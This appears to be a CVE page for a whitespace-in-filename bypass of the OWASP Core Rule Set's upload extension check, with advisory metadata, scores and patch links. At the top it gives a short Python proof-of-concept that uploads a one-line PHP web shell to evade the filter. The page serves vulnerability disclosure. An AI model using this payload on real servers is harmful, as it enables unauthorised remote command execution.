CVE-2026-33691

import requests # Target URL url = "http://example.com/upload.php" # Malicious file with a space before the extension # The WAF rule checks for ".php" but fails on ". php" files = { 'file': ('shell. php', '<?php system($_GET["cmd"]); ?>', 'application/octet-stream') } response = requests.post(url, files=files) if response.status_code == 200: print("File uploaded successfully. Attempt to access: /uploads/shell.php") else: print("Upload failed")

{"cve": {"id": "CVE-2026-33691", "sourceIdentifier": "[email protected]", "published": "2026-04-02T16:16:22.593", "lastModified": "2026-04-18T20:16:29.633", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The OWASP core rule set (CRS) is a set of generic attack detection rules for use with compatible web application firewalls. Prior to versions 3.3.9 and 4.25.0, a bypass was identified in OWASP CRS that allows uploading files with dangerous extensions (.php, .phar, .jsp, .jspx) by inserting whitespace padding in the filename (e.g. photo. php or shell.jsp ). The affected rules do not normalize whitespace before evaluating the file extension regex, so the dot-extension check fails to match. This issue has been patched in versions 3.3.9 and 4.25.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-178"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:owasp:owasp_modsecurity_core_rule_set:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.3.9", "matchCriteriaId": "33F8A888-1ED5-40BC-B1B9-7AA88411B0E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:owasp:owasp_modsecurity_core_rule_set:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.25.0", "matchCriteriaId": "8822CE75-E018-4576-B30B-A25A1A2F60E0"}]}]}], "references": [{"url": "https://github.com/coreruleset/coreruleset/commit/2a8c63512811c5dd74472becebb79a783e68ff02", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/coreruleset/coreruleset/pull/4546", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/coreruleset/coreruleset/pull/4547", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/coreruleset/coreruleset/pull/4548", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/coreruleset/coreruleset/releases/tag/v3.3.9", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/coreruleset/coreruleset/releases/tag/v4.25.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/coreruleset/coreruleset/security/advisories/GHSA-rw5f-9w43-gv2w", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}, {"url": "http://seclists.org/fulldisclosure/2026/Apr/0", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/18/4", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}